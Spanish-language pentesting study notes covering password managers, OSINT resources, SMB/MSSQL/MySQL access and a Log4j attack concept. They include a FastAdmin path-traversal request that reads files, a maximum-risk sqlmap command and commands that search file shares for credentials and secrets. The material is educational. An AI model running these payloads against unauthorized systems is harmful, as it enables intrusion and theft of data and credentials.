aplicaciones y sitios web desde cualquier dispositivo. Queremos sincronizar todas las
contraseñas y notas seguras en todos los dispositivos. Necesitamos protección adicional con
2FA y nuestro presupuesto es de 1 USD mensual. Esa información puede ayudarnos a
identificar el administrador de contraseñas adecuado para nosotros.

A la hora de decidirnos por un gestor de contraseñas en la nube o local, debemos conocer

sus características. Wikipedia tiene una lista de gestores de contraseñas (en línea y locales)
así como algunas de sus características. A continuación, se incluye una lista de las
características más comunes de los gestores de contraseñas:

1. Soporte 2FA .
2. Multiplataforma (Android, iOS, Windows, Linux, Mac, etc.).
3. Extensión del navegador.
4. Autocompletar inicio de sesión.
5. Capacidades de importación y exportación.
6. Generación de contraseña.
Alternativas

Las contraseñas son la forma más común de autenticación, pero no la única. Como
aprendemos en este módulo, existen múltiples formas de poner en peligro una contraseña:
descifrarla, adivinarla, espiar a escondidas, etc., pero ¿qué pasa si no necesitamos una
contraseña para iniciar sesión? ¿Es posible?

De forma predeterminada, la mayoría de los sistemas operativos y aplicaciones no admiten

ninguna alternativa a una contraseña. Aun así, los administradores pueden utilizar
proveedores de identidad o aplicaciones de terceros para configurar o mejorar la
protección de la identidad en sus organizaciones. Algunas de las formas más comunes de
proteger las identidades más allá de las contraseñas son:

1. Autenticación multifactor .
2. Estándar de autenticación abierta FIDO2 , que permite a los usuarios utilizar
dispositivos comunes como Yubikey para autenticarse fácilmente. Para obtener una
lista más amplia de dispositivos, puede consultar los proveedores de claves de
seguridad FIDO2 de Microsoft .
3. Contraseña de un solo uso (OTP) .
4. Contraseña de un solo uso basada en tiempo (TOTP) .
5. Restricción de IP .
6. Cumplimiento de dispositivos. Ejemplos: Endpoint Manager o Workspace ONE

Sin contraseña

Varias empresas como Microsoft , Auth0 , Okta , Ping Identity , etc., están tratando de
promover la estrategia Passwordless , para eliminar la contraseña como forma de
autenticación.

La autenticación sin contraseña se logra cuando se utiliza un factor de autenticación

distinto de una contraseña. Una contraseña es un factor de conocimiento, es decir, algo
que el usuario sabe. El problema de depender únicamente de un factor de conocimiento
es que es vulnerable al robo, al intercambio, al uso repetido, al mal uso y a otros riesgos. La
autenticación sin contraseña, en definitiva, significa que ya no se necesitan más
contraseñas. En cambio, se basa en un factor de posesión, algo que el usuario tiene, o un
factor inherente, que es el usuario, para verificar la identidad del usuario con mayor
seguridad.

A medida que evolucionan las nuevas tecnologías y los nuevos estándares, necesitamos
investigar y comprender los detalles de su implementación para entender si esas
alternativas brindarán o no la seguridad que necesitamos para el proceso de
autenticación. Puede leer más sobre la autenticación sin contraseña y las estrategias de los
diferentes proveedores:

1. Microsoft sin contraseña

2. Auth0 Sin contraseña
3. Okta sin contraseña
4. PingIdentidad
Existen muchas opciones a la hora de proteger las contraseñas. La elección de la
adecuada dependerá de los requisitos de la persona o la empresa. Es habitual que las
personas y las empresas utilicen distintos métodos de protección de contraseñas para
distintos fines.
[Link] (Buscador de dominios, busca todos los que tengan servicios
asociados con el sitio web que se busca).

[Link] (david)

Archive History Firewall Types [Link]

Block List Check Get IP Address Sitemap
Carbon Footprint Headers Social Tags
Cookies HSTS SSL Certificate
DNS Server HTTP Security Uptime Status
DNS Records Linked Pages Tech Stack
DNSSEC Mail Config Known Threats
Site Features Open Ports TLS Version
Redirects Quality Check Trace Route
[Link] Global Rank TXT Records
Screenshot Whois Lookup

[Link] OSINT
 Análisis de Correos maliciosos o Phishing

[Link]

Vulnerabilidad en FastAdmin (CVE-2024-7928)

Descripción

Una vulnerabilidad fue encontrada en FastAdmin hasta 1.3.3.20220121 y clasificada como

problemática. Una función desconocida del archivo /index/ajax/lang es afectada por esta
vulnerabilidad. La manipulación del argumento lang conduce al path traversal. El ataque
puede lanzarse de forma remota. El exploit ha sido divulgado al público y puede utilizarse.
La actualización a la versión 1.3.4.20220530 puede solucionar este problema. Se
recomienda actualizar el componente afectado.

/index/ajax/lang?lang=../../application/database
CVE-2024-7928: FastAdmin < V1.3.4.20220530 Arbitrary File Reading Vulnerability

[Link] (OSINT ESPAÑA)

Buscar información de empresas españolas gratis e ilimitadamente

Buscar también en censys poner la pestaña explore

[Link]

Buscar información de empresas y de las personas de las empresas

[Link] (Registrarse con un correo cualquiera)

Comando SQLMAP (Nota fuera de CPTS)

sqlmap -r [Link] --dbms="Microsoft Access" --batch --random-agent --

tamper=space2comment,between --level 5 --risk 3 --all --technique=BEUSTQ --threads=10

Aumentar el Nivel de Profundidad (--level)

Aumentar el Nivel de Riesgo (--risk)
Incluir Múltiples Payloads Tamper: --tamper=space2comment,between
Forzar la Prueba de Todos los Parámetros: --all
Probar con Diferentes Tipos de Carga (--dbms y --technique) BEUSTQ, para probar diferentes
métodos de inyección: --technique=BEUSTQ
Usar el Parámetro –threads: --threads=10
 Ataque a los servicios comunes
Interacción con los servicios comunes

Las vulnerabilidades suelen ser descubiertas por personas que utilizan y entienden la
tecnología, un protocolo o un servicio. A medida que evolucionemos en este campo,
encontraremos diferentes servicios con los que interactuar y necesitaremos evolucionar y
aprender nuevas tecnologías constantemente.

Para atacar con éxito un servicio, necesitamos conocer su propósito, cómo interactuar con
él, qué herramientas podemos usar y qué podemos hacer con él. Esta sección se centrará
en los servicios comunes y en cómo podemos interactuar con ellos.

Servicios de intercambio de archivos

Un servicio de intercambio de archivos es un tipo de servicio que proporciona, media y

supervisa la transferencia de archivos informáticos. Hace años, las empresas solían utilizar
solo servicios internos para compartir archivos, como SMB, NFS, FTP, TFTP, SFTP, pero a medida
que crece la adopción de la nube, la mayoría de las empresas ahora también tienen
servicios en la nube de terceros como Dropbox, Google Drive, OneDrive, SharePoint u otras
formas de almacenamiento de archivos como AWS S3, Azure Blob Storage o Google Cloud
Storage. Estaremos expuestos a una combinación de servicios de intercambio de archivos
internos y externos, y debemos estar familiarizados con ellos.

Esta sección se centrará en los servicios internos, pero esto puede aplicarse al
almacenamiento en la nube sincronizado localmente con servidores y estaciones de
trabajo.
 Bloque de mensajes del servidor (SMB)

SMB se utiliza habitualmente en redes de Windows y, a menudo, encontraremos carpetas

compartidas en una red de Windows. Podemos interactuar con SMB mediante la interfaz
gráfica de usuario, la interfaz de línea de comandos o las herramientas. Veamos algunas
formas habituales de interactuar con SMB mediante Windows y Linux.

WINDOWS

Existen diferentes formas de interactuar con una carpeta compartida mediante Windows,
y exploraremos algunas de ellas. En la interfaz gráfica de usuario de Windows, podemos
presionar [WINKEY] + [R] para abrir el cuadro de diálogo Ejecutar y escribir la ubicación del
recurso compartido de archivos, por ejemplo: \\[Link]\Finance\

Supongamos que la carpeta compartida permite la autenticación anónima, o que nos

autenticamos con un usuario que tiene privilegios sobre esa carpeta compartida. En ese
caso, no recibiremos ningún tipo de solicitud de autenticación y se mostrará el contenido
de la carpeta compartida.
Si no tenemos acceso, recibiremos una solicitud de autenticación.

Windows tiene dos shells de línea de comandos: Command Shell y PowerShell . Cada shell
es un programa de software que proporciona comunicación directa entre nosotros y el
sistema operativo o la aplicación, proporcionando un entorno para automatizar las
operaciones de TI.
Analicemos algunos comandos para interactuar con el recurso compartido de archivos
mediante Command Shell (CMD) y PowerShell. El comando dir muestra una lista de los
archivos y subdirectorios de un directorio.

CMD de Windows - DIR

dir \\[Link]\Finance\

El comando net use conecta o desconecta una computadora de un recurso compartido

o muestra información sobre las conexiones de la computadora. Podemos conectarnos a
un recurso compartido de archivos con el siguiente comando y asignar su contenido a la
letra de la unidad n.

CMD de Windows - Uso de red

net use n: \\[Link]\Finance

También podemos proporcionar un nombre de usuario y una contraseña para autenticarse

en el recurso compartido.

net use n: \\[Link]\Finance /user:plaintext Password123

Con la carpeta compartida asignada como unidad n, podemos ejecutar comandos de
Windows como si esta carpeta compartida estuviera en nuestra computadora local.
Averigüemos cuántos archivos contiene la carpeta compartida y sus subdirectorios.

CMD de Windows - DIR

dir n: /a-d /s /b | find /c ":\"

Veamos el comando:

Sintaxis Descripción
dir Solicitud
n: Directorio o unidad para buscar
/a-d /a es el atributo y -d no significa directorios
/s Muestra archivos en un directorio específico y todos los subdirectorios
/b Utiliza un formato simple (sin información de encabezado ni resumen)

El siguiente comando | find /c ":\\" procesa la salida de dir n: /a-d /s /b para contar
cuántos archivos existen en el directorio y los subdirectorios. Puede utilizar dir /? para ver la
ayuda completa. Buscar entre 29.302 archivos lleva mucho tiempo, las utilidades de línea
de comandos y scripts pueden ayudarnos a acelerar la búsqueda. Con dir podemos buscar
nombres específicos en archivos como: (Comando para buscar archivos en windows)

cred
password
users
secrets
key
Extensiones de archivos comunes para código fuente como: .cs, .c, .go, .java, .php, .asp,
.aspx, .html.

dir n:\*cred* /s /b
dir n:\*secret* /s /b
Si queremos buscar una palabra específica dentro de un archivo de texto, podemos utilizar
findstr.

CMD de Windows - Findstr

findstr /s /i cred n:\*.*

Windows PowerShell

PowerShell se diseñó para ampliar las capacidades del shell de comandos para ejecutar
comandos de PowerShell denominados cmdlets. Los cmdlets son similares a los comandos
de Windows, pero proporcionan un lenguaje de scripting más extensible. Podemos ejecutar
comandos de Windows y cmdlets de PowerShell en PowerShell, pero el shell de comandos
solo puede ejecutar comandos de Windows y no cmdlets de PowerShell. Repliquemos
ahora los mismos comandos usando PowerShell.

Get-ChildItem \\[Link]\Finance\
En lugar de net use, podemos usarlo New-PSDrive en PowerShell.

New-PSDrive -Name "N" -Root "\\[Link]\Finance" -PSProvider "FileSystem"

Para proporcionar un nombre de usuario y una contraseña con PowerShell, necesitamos

crear un objeto PSCredential . Este ofrece una forma centralizada de administrar nombres
de usuario, contraseñas y credenciales.

$username = 'plaintext'
$password = 'Password123'
$secpassword = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object [Link] $username,
$secpassword
New-PSDrive -Name "N" -Root "\\[Link]\Finance" -PSProvider
"FileSystem" -Credential $cred

Windows PowerShell - GCI

En PowerShell, podemos utilizar el comando Get-ChildItemo la variante corta gci en lugar

del comando dir.
Podemos usar la propiedad -Include para encontrar elementos específicos del directorio
especificado por el parámetro Path.

El Select-String cmdlet utiliza expresiones regulares para buscar patrones de texto en

cadenas de entrada y archivos. Podemos utilizar Select-String un método similar al grep de
UNIX o [Link] Windows.

Windows PowerShell - Cadena de selección

Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

La CLI permite que las operaciones de TI automaticen tareas rutinarias como la

administración de cuentas de usuario, las copias de seguridad nocturnas o la interacción
con muchos archivos. Podemos realizar operaciones de manera más eficiente mediante el
uso de scripts en lugar de la interfaz de usuario o GUI.

Linux

También se pueden utilizar máquinas Linux (UNIX) para explorar y montar recursos
compartidos SMB. Tenga en cuenta que esto se puede hacer tanto si el servidor de destino
es una máquina Windows como si es un servidor Samba. Aunque algunas distribuciones
Linux admiten una interfaz gráfica de usuario, nos centraremos en las herramientas y
utilidades de línea de comandos de Linux para interactuar con SMB. Veamos cómo montar
recursos compartidos SMB para interactuar con directorios y archivos de forma local.

Linux - Montaje

sudo mkdir /mnt/Finance

sudo mount -t cifs -o username=plaintext,password=Password123,domain=.
//[Link]/Finance /mnt/Finance
Como alternativa, podemos utilizar un archivo de credenciales.

mount -t cifs //[Link]/Finance /mnt/Finance -o credentials=/path/credentialfile

El archivo credentialfile debe estar estructurado así:

Nota: Necesitamos instalarlo cifs-utils para poder conectarnos a una carpeta compartida
SMB. Para instalarlo podemos ejecutar desde la línea de comandos sudo apt install cifs-utils.

Una vez que se monta una carpeta compartida, puede utilizar herramientas comunes de
Linux como find o grep para interactuar con la estructura de archivos. Busquemos un
nombre de archivo que contenga la cadena cred:

Linux - Buscar

find /mnt/Finance/ -name *cred*

A continuación, busquemos archivos que contengan la cadena cred:

grep -rn /mnt/Finance/ -ie cred

Otros servicios

Existen otros servicios de intercambio de archivos, como FTP, TFTP y NFS, que podemos
adjuntar (montar) mediante diferentes herramientas y comandos. Sin embargo, una vez
que montamos un servicio de intercambio de archivos, debemos comprender que
podemos utilizar las herramientas disponibles en Linux o Windows para interactuar con
archivos y directorios. A medida que descubramos nuevos servicios de intercambio de
archivos, necesitaremos investigar cómo funcionan y qué herramientas podemos utilizar
para interactuar con ellos.

Correo electrónico

Normalmente necesitamos dos protocolos para enviar y recibir mensajes, uno para enviar
y otro para recibir. El Protocolo simple de transferencia de correo (SMTP) es un protocolo de
entrega de correo electrónico que se utiliza para enviar correo a través de Internet.
Asimismo, se debe utilizar un protocolo de soporte para recuperar un correo electrónico de
un servicio. Hay dos protocolos principales que podemos utilizar: POP3 e IMAP.

Podemos utilizar un cliente de correo como Evolution , el gestor de información personal

oficial y cliente de correo del entorno de escritorio GNOME. Podemos interactuar con un
servidor de correo para enviar o recibir mensajes con un cliente de correo. Para instalar
Evolution podemos utilizar el siguiente comando:

Linux - Instalar Evolution

sudo apt-get install evolution

Nota: Si al iniciar la evolución aparece un error que indica "bwrap: No se puede crear el
archivo en ...", utilice este comando para iniciar la evolución export
WEBKIT_FORCE_SANDBOX=0 && evolution.
Vídeo: Conexión a IMAP y SMTP mediante Evolution

Haga clic en la imagen a continuación para ver una breve demostración en vídeo.

Podemos utilizar el nombre de dominio o la dirección IP del servidor de correo. Si el servidor

utiliza SMTPS o IMAPS, necesitaremos el método de cifrado adecuado (TLS en un puerto
dedicado o STARTTLS después de la conexión). Podemos utilizar la opción Check for
Supported Types de autenticación para confirmar si el servidor admite el método
seleccionado.

Bases de datos

Las bases de datos se utilizan normalmente en las empresas y la mayoría de ellas las utilizan
para almacenar y gestionar información. Existen distintos tipos de bases de datos, como las
bases de datos jerárquicas, las bases de datos NoSQL (o no relacionales) y las bases de
datos relacionales SQL. Nos centraremos en las bases de datos relacionales SQL y en las dos
bases de datos relacionales más comunes, MySQL y MSSQL. Tenemos tres formas habituales
de interactuar con las bases de datos:

1. Utilidades de línea de comandos (mysql o sqsh)

2. Una aplicación GUI para interactuar con bases de datos como HeidiSQL, MySQL Workbench o
SQL Server Management Studio.
3. Lenguajes de programación
Ejemplo de MySQL

Exploremos las utilidades de línea de comandos y una aplicación GUI.

MSSQL

Para interactuar con MSSQL (Microsoft SQL Server) con Linux podemos
utilizar sqsh o sqlcmd si utilizamos Windows. Sqsh es mucho más que un simple prompt. Su
objetivo es proporcionar gran parte de la funcionalidad que ofrece un shell de comandos,
como variables, alias, redirección, canalizaciones, back-grounding, control de trabajos,
historial, sustitución de comandos y configuración dinámica. Podemos iniciar una sesión SQL
interactiva de la siguiente manera:

Linux-SQSH

[!bash!]$ sqsh -S [Link] -U username -P Password123

La utilidad sqlcmd le permite ingresar instrucciones Transact-SQL, procedimientos del

sistema y archivos de script a través de una variedad de modos disponibles:
 • En el símbolo del sistema.
• En el Editor de consultas en modo SQLCMD.
• En un archivo de script de Windows.
• En un paso de trabajo del sistema operativo ([Link]) de un trabajo del Agente
SQL Server.

Windows – SQLCMD

C:\htb> sqlcmd -S [Link] -U username -P Password123

Para obtener más información sobre el sqlcmd uso, puede consultar la documentación de
Microsoft .

MySQL

Para interactuar con MySQL , podemos utilizar los binarios MySQL para Linux ( mysql) o
Windows ( [Link]). MySQL viene preinstalado en algunas distribuciones Linux, pero
podemos instalar los binarios MySQL para Linux o Windows utilizando esta guía . Iniciar una
sesión SQL interactiva utilizando Linux:

Linux - MySQL

[!bash!]$ mysql -u username -pPassword123 -h [Link]

Podemos iniciar fácilmente una sesión SQL interactiva usando Windows:

Windows – MySQL

C:\htb> [Link] -u username -pPassword123 -h [Link]

Aplicación GUI

Los motores de bases de datos suelen tener su propia aplicación GUI. MySQL tiene MySQL
Workbench y MSSQL tiene SQL Server Management Studio o SSMS , podemos instalar esas
herramientas en nuestro host de ataque y conectarnos a la base de datos. SSMS solo es
compatible con Windows. Una alternativa es utilizar herramientas comunitarias
como dbeaver . dbeaver es una herramienta de base de datos multiplataforma para Linux,
macOS y Windows que admite la conexión a múltiples motores de bases de datos como
MSSQL, MySQL, PostgreSQL, entre otros, lo que nos facilita, como atacantes, interactuar con
servidores de bases de datos comunes.

Para instalar dbeaver usando un paquete Debian podemos descargar el paquete release
.deb desde [Link] y ejecutar el siguiente
comando:

Instalar dbeaver

[!bash!]$ sudo dpkg -i dbeaver-<version>.deb

Para iniciar la aplicación utilice:

Ejecutar dbeaver

[!bash!]$ dbeaver &

Para conectarnos a una base de datos, necesitaremos un conjunto de credenciales, la IP

de destino y el número de puerto de la base de datos, y el motor de base de datos al que
intentamos conectarnos (MySQL, MSSQL u otro).

Vídeo: Conexión a una base de datos MSSQL mediante dbeaver

Haga clic en la imagen a continuación para ver una breve demostración en vídeo sobre
cómo conectarse a una base de datos MSSQL mediante dbeaver.

Haga clic en la imagen a continuación para ver una breve demostración en vídeo sobre
cómo conectarse a una base de datos MySQL usando dbeaver.
Vídeo: Conexión a la base de datos MySQL mediante dbeaver

Una vez que tenemos acceso a la base de datos mediante una utilidad de línea de
comandos o una aplicación GUI, podemos utilizar instrucciones Transact-SQL comunes
para enumerar bases de datos y tablas que contienen información confidencial, como
nombres de usuario y contraseñas. Si tenemos los privilegios correctos, podríamos ejecutar
comandos como la cuenta de servicio MSSQL. Más adelante en este módulo, analizaremos
las instrucciones Transact-SQL comunes y los ataques a las bases de datos MSSQL y MySQL.
Herramientas

Es fundamental familiarizarse con las utilidades de línea de comandos predeterminadas

disponibles para interactuar con diferentes servicios. Sin embargo, a medida que
avanzamos en el campo, encontraremos herramientas que nos pueden ayudar a ser más
eficientes. La comunidad generalmente crea esas herramientas. Aunque, eventualmente,
tendremos ideas sobre cómo se puede mejorar una herramienta o para crear nuestras
propias herramientas, incluso si no somos desarrolladores a tiempo completo, cuanto más
nos familiarizamos con el hacking, más nos encontramos buscando una herramienta que
no existe, lo que puede ser una oportunidad para aprender y crear nuestras propias
herramientas.

SMB FTP Email Databases

smbclient ftp Thunderbird mssql-cli
CrackMapExec lftp Claws mycli
SMBMap ncftp Geary [Link]
Impacket filezilla MailSpring dbeaver
[Link] crossftp mutt MySQL Workbench
[Link] mailutils SQL Server
Management Studio
or SSMS
sendEmail
swaks
sendmail

Solución de problemas generales

Dependiendo de la versión de Windows o Linux con la que estemos trabajando o a la que

estemos apuntando, podemos encontrarnos con diferentes problemas al intentar
conectarnos a un servicio.

Algunas razones por las que podríamos no tener acceso a un recurso:

• Autenticación
• Privilegios
• Conexión de red
• Reglas del cortafuegos
• Soporte de protocolo

Hay que tener en cuenta que podemos encontrarnos con distintos errores según el servicio
al que nos dirigimos. Podemos utilizar los códigos de error a nuestro favor y buscar
documentación oficial o foros donde hayan solucionado algún problema similar al nuestro.
 El concepto de ataques

Para entender de forma eficaz los ataques a los diferentes servicios, debemos analizar cómo
se pueden atacar estos servicios. Un concepto es un plan esbozado que se aplica a
proyectos futuros. Como ejemplo, podemos pensar en el concepto de construir una casa.
Muchas casas tienen un sótano, cuatro paredes y un techo. La mayoría de las casas se
construyen de esta manera y es un concepto que se aplica en todo el mundo. Los detalles
más finos, como el material utilizado o el tipo de diseño, son flexibles y se pueden adaptar
a los deseos y circunstancias individuales. Este ejemplo muestra que un concepto necesita
una categorización general (piso, paredes, techo).

En nuestro caso, necesitamos crear un concepto para los ataques a todos los servicios
posibles y dividirlo en categorías que resuman todos los servicios, pero dejen los métodos de
ataque individuales.

Para explicar un poco más claramente de qué estamos hablando, podemos intentar
agrupar nosotros mismos los servicios SSH, FTP, SMB y HTTP y averiguar qué tienen en común
estos servicios. Luego, debemos crear una estructura que nos permita identificar los puntos
de ataque de estos diferentes servicios utilizando un único patrón.

Analizar los puntos en común y crear plantillas de patrones que se adapten a todos los casos
imaginables no es un producto terminado, sino un proceso que hace que estas plantillas de
patrones se hagan cada vez más grandes. Por lo tanto, hemos creado una plantilla de
patrones para este tema para que puedas enseñar y explicar mejor y de manera más
eficiente el concepto detrás de los ataques.
Fuente

Podemos generalizar Source como fuente de información utilizada para la tarea específica
de un proceso. Existen muchas formas diferentes de pasar información a un proceso. El
gráfico muestra algunos de los ejemplos más comunes de cómo se pasa información a los
procesos.

Procesos

El objetivo Process es procesar la información que llega desde la fuente. Esta se procesa de
acuerdo con la tarea prevista que determina el código del programa. Para cada tarea, el
desarrollador especifica cómo se procesa la información. Esto puede ocurrir mediante
clases con diferentes funciones, cálculos y bucles. La variedad de posibilidades para esto
es tan diversa como el número de desarrolladores en el mundo. En consecuencia, la
mayoría de las vulnerabilidades se encuentran en el código del programa que ejecuta el
proceso.
Privilegios

Los (Privileges) privilegios están presentes en cualquier sistema que controle procesos. Estos
sirven como un tipo de permiso que determina qué tareas y acciones se pueden realizar en
el sistema. En términos sencillos, se puede comparar con un billete de autobús. Si utilizamos
un billete destinado a una región en particular, podremos utilizar el autobús, y en caso
contrario, no. Estos privilegios (o en sentido figurado, nuestros billetes) también se pueden
utilizar para diferentes medios de transporte, como aviones, trenes, barcos y otros. En los
sistemas informáticos, estos privilegios sirven como control y segmentación de acciones
para las que se necesitan diferentes permisos, controlados por el sistema. Por tanto, los
derechos se comprueban en función de esta categorización cuando un proceso necesita
cumplir con su tarea. Si el proceso satisface estos privilegios y condiciones, el sistema
aprueba la acción solicitada. Podemos dividir estos privilegios en las siguientes áreas:

Destino

Toda tarea tiene al menos un propósito y un objetivo que debe cumplirse. Lógicamente, si
faltan cambios en los conjuntos de datos o no se almacenan o reenvían a ningún lugar, la
tarea sería generalmente innecesaria. El resultado de una tarea de este tipo se almacena
en algún lugar o se reenvía a otro punto de procesamiento. Por lo tanto, aquí hablamos
del lugar Destination donde se realizarán los cambios. Estos puntos de procesamiento
pueden apuntar a un proceso local o remoto. Por lo tanto, a nivel local, los archivos o
registros locales pueden ser modificados por el proceso o reenviados a otros servicios
locales para su uso posterior. Sin embargo, esto no excluye la posibilidad de que el mismo
proceso también pueda reutilizar los datos resultantes. Si el proceso se completa con el
almacenamiento de datos o su reenvío, se cierra el ciclo que lleva a la finalización de la
tarea.
Log4j

Un gran ejemplo es la vulnerabilidad crítica Log4j ( CVE-2021-44228 ) que se publicó a fines

de 2021. Log4j es un marco de trabajo o Library se utiliza para registrar mensajes de
aplicaciones en Java y otros lenguajes de programación. Esta biblioteca contiene clases y
funciones que otros lenguajes de programación pueden integrar. Para este propósito, la
información se documenta, de manera similar a un libro de registro. Además, el alcance de
la documentación se puede configurar ampliamente. Como resultado, se ha convertido
en un estándar dentro de muchos productos de software comerciales y de código abierto.
En este ejemplo, un atacante puede manipular el encabezado User-Agent de HTTP e
insertar una búsqueda JNDI como un comando destinado a Log4j library. En consecuencia,
no se procesa el encabezado User-Agent real, como Mozilla 5.0, sino la búsqueda JNDI.

El proceso de Log4j consiste en registrar el User-Agent como una cadena mediante una
función y almacenarla en la ubicación designada. La vulnerabilidad de este proceso es la
interpretación incorrecta de la cadena, que lleva a la ejecución de una solicitud en lugar
de registrar los eventos. Sin embargo, antes de profundizar en esta función, debemos hablar
sobre los privilegios.

Lo que hizo que la vulnerabilidad de Log4j fuera tan peligrosa fue el impacto Privileges que
trajo consigo la implementación. Los registros suelen considerarse confidenciales porque
pueden contener datos sobre el servicio, el sistema en sí o incluso los clientes. Por lo tanto,
los registros suelen almacenarse en ubicaciones a las que ningún usuario normal debería
poder acceder. En consecuencia, la mayoría de las aplicaciones con la implementación
de Log4j se ejecutaban con privilegios de administrador. El proceso en sí mismo explotaba
la biblioteca manipulando el User-Agent de modo que el proceso malinterpretara la fuente
y provocara la ejecución del código proporcionado por el usuario.

La interpretación errónea del User-Agent da lugar a una consulta JNDI que se ejecuta como
un comando desde el sistema con privilegios de administrador y consulta un servidor remoto
controlado por el atacante, que en nuestro caso es el que se encuentra en Destination
nuestro concepto de ataques. Esta consulta solicita una clase Java creada por el atacante
y se manipula para sus propios fines. El código Java consultado dentro de la clase Java
manipulada se ejecuta en el mismo proceso, lo que da lugar a una vulnerabilidad RCE de
ejecución de código remoto ( ).

[Link] ha creado una excelente representación gráfica de la vulnerabilidad Log4j

que vale la pena examinar en detalle.
 Imagen en ingles

Traducida al español
Este gráfico desglosa el ataque JNDI de Log4j basado en Concept of Attacks.

Iniciación del ataque

Aquí es cuando el ciclo comienza de nuevo, pero esta vez para obtener acceso remoto al
sistema de destino.

Activar la ejecución remota de código

Por último, vemos un patrón que podemos utilizar repetidamente para nuestros ataques.
Esta plantilla de patrón se puede utilizar para analizar y comprender los exploits y depurar
nuestros propios exploits durante el desarrollo y las pruebas. Además, esta plantilla de patrón
también se puede aplicar al análisis del código fuente, lo que nos permite comprobar
determinadas funciones y comandos en nuestro código paso a paso. Por último, también
podemos pensar de forma categórica sobre los peligros de cada tarea de forma individual.
 Configuraciones incorrectas del servicio

Configuraciones incorrectas del servicio

Las configuraciones incorrectas suelen ocurrir cuando un administrador de sistemas, un

técnico de soporte o un desarrollador no configura correctamente el marco de seguridad
de una aplicación, un sitio web, un escritorio o un servidor, lo que genera vías de acceso
peligrosas para usuarios no autorizados. Exploremos algunas de las configuraciones
incorrectas más típicas de servicios comunes.

Autenticación

En años anteriores (aunque todavía vemos esto a veces durante las evaluaciones), era
común que los servicios incluyeran credenciales predeterminadas (nombre de usuario y
contraseña). Esto presenta un problema de seguridad porque muchos administradores
dejan las credenciales predeterminadas sin cambios. Hoy en día, la mayoría del software
solicita a los usuarios que configuren credenciales al momento de la instalación, lo cual es
mejor que las credenciales predeterminadas. Sin embargo, tenga en cuenta que aún
encontraremos proveedores que usan credenciales predeterminadas, especialmente en
aplicaciones más antiguas.

Incluso cuando el servicio no tiene un conjunto de credenciales predeterminadas, un

administrador puede usar contraseñas débiles o ninguna contraseña al configurar servicios
con la idea de cambiar la contraseña una vez que el servicio esté configurado y
funcionando.

Como administradores, debemos definir políticas de contraseñas que se apliquen al

software probado o instalado en nuestro entorno. Se debe exigir a los administradores que
cumplan con una complejidad mínima de contraseñas para evitar combinaciones de
usuarios y contraseñas como:

Una vez que tenemos el banner de servicio, el siguiente paso debe ser identificar las posibles
credenciales predeterminadas. Si no hay credenciales predeterminadas, podemos probar
las combinaciones de nombre de usuario y contraseña poco seguras que se indican
anteriormente.

Autenticación anónima

Otra configuración incorrecta que puede existir en los servicios comunes es la autenticación
anónima. El servicio se puede configurar para permitir la autenticación anónima, lo que
permite que cualquier persona con conectividad de red acceda al servicio sin que se le
solicite la autenticación.

Derechos de acceso mal configurados

Imaginemos que recuperamos las credenciales de un usuario cuya función es subir archivos
al servidor FTP, pero al que se le ha otorgado el derecho de leer todos los documentos FTP.
La posibilidad es infinita, dependiendo de lo que haya dentro del servidor FTP. Podemos
encontrar archivos con información de configuración para otros servicios, credenciales de
texto sin formato, nombres de usuario, información confidencial e información de
identificación personal (PII).

Los derechos de acceso mal configurados se dan cuando las cuentas de usuario tienen
permisos incorrectos. El problema más grave podría ser dar a las personas que se
encuentran en niveles inferiores de la cadena de mando acceso a información privada
que solo deberían tener los gerentes o administradores.

Los administradores deben planificar su estrategia de derechos de acceso y existen algunas

alternativas como el control de acceso basado en roles (RBAC) y las listas de control de
acceso (ACL) . Si queremos conocer los pros y contras más detallados de cada método,
podemos leer Choosing the best access control strategy de Warren Parad de Authress.

Valores predeterminados innecesarios

La configuración inicial de dispositivos y software puede incluir, entre otras cosas,

configuraciones, funciones, archivos y credenciales. Estos valores predeterminados suelen
estar orientados a la usabilidad, más que a la seguridad. Dejarlos predeterminados no es
una buena práctica de seguridad para un entorno de producción. Los valores
predeterminados innecesarios son aquellos que necesitamos cambiar para proteger un
sistema reduciendo su superficie de ataque.

También podríamos entregar la información personal de nuestra empresa en bandeja de

plata si optamos por el camino fácil y aceptamos la configuración predeterminada al
configurar un software o un dispositivo por primera vez. En realidad, los atacantes pueden
obtener credenciales de acceso para equipos específicos o abusar de una configuración
débil realizando una breve búsqueda en Internet.

Los errores de configuración de seguridad forman parte de la lista de los 10 principales

errores de OWASP . Echemos un vistazo a los relacionados con los valores predeterminados:

• Se habilitan o instalan funciones innecesarias (por ejemplo, puertos, servicios,

páginas, cuentas o privilegios innecesarios).
• Las cuentas predeterminadas y sus contraseñas aún están habilitadas y sin cambios.
• El manejo de errores revela seguimientos de pila u otros mensajes de error
excesivamente informativos para los usuarios.
• En el caso de los sistemas actualizados, las funciones de seguridad más recientes
están deshabilitadas o no están configuradas de forma segura.
Prevención de configuraciones incorrectas

Una vez que hemos identificado nuestro entorno, la estrategia más sencilla para controlar
el riesgo es bloquear la infraestructura más crítica y permitir únicamente el comportamiento
deseado. Se debe desactivar cualquier comunicación que no sea necesaria para el
programa. Esto puede incluir cosas como:

• Las interfaces de administración deben estar deshabilitadas.

• La depuración está desactivada.
• Deshabilitar el uso de nombres de usuario y contraseñas predeterminados.
• Configure el servidor para evitar acceso no autorizado, listados de directorios y otros
problemas.
• Ejecute análisis y auditorías periódicamente para ayudar a descubrir futuras
configuraciones erróneas o correcciones faltantes.

El OWASP Top 10 ofrece una sección sobre cómo proteger los procesos de instalación:

• Un proceso de endurecimiento repetible permite implementar de forma rápida y

sencilla otro entorno que esté bloqueado de forma adecuada. Los entornos de
desarrollo, control de calidad y producción deben configurarse de forma idéntica,
y se deben utilizar diferentes credenciales en cada uno de ellos. Además, este
proceso debe automatizarse para minimizar el esfuerzo necesario para configurar
un nuevo entorno seguro.
• Una plataforma mínima sin funciones, componentes, documentación ni ejemplos
innecesarios. Elimine o no instale funciones y estructuras que no utilice.
• Una tarea para revisar y actualizar las configuraciones correspondientes a todas las
notas de seguridad, actualizaciones y parches como parte del proceso de
administración de parches (consulte A06:2021-Componentes vulnerables y
obsoletos). Revise los permisos de almacenamiento en la nube (por ejemplo, los
permisos de depósito de S3).
• Una arquitectura de aplicación segmentada proporciona una separación efectiva
y segura entre componentes o inquilinos, con segmentación, contenedorización o
grupos de seguridad en la nube (ACL).
• Envío de directivas de seguridad a los clientes, por ejemplo, encabezados de
seguridad.
• Un proceso automatizado para verificar la efectividad de las configuraciones y
ajustes en todos los entornos.
 Cómo encontrar información confidencial

